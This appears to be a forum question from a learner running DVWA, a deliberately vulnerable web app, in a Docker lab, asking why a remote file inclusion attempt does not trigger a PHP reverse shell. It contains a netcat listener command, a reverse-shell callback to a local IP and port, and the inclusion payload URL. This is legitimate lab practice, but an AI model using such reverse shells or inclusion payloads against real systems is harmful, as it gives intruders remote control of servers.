I'm running a DVWA container on my kali VM using:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Network interface details:
- Kali docker0 int: 172.17.0.1/16
- Kali eth0 int: 192.168.1.233/24
- DVWA container int: 172.17.0.2/16
I set up a nc listener on port 1400 using
nc -nvlp 1400 and then a local web server on port 8000 using
python -m http.server 8000. The web server hosts a file "rev.php" which is a reverse shell script I generated using RevShells, resulting in
Shell('172.17.0.1', 1400); here's a link to the full script.
I am able to successfully ping 172.17.0.2 from my VM, and have confirmed that the container has netcat installed. However, when I attempt to spawn a shell by including a link to the file (http://localhost:8000/rev.php) in the file inclusion part of DVWA, no connection is made. To be more exact, when I query the following URL: http://172.17.0.1/vulnerabilities/fi/?page=http://localhost:8000/rev.php, no connection is made.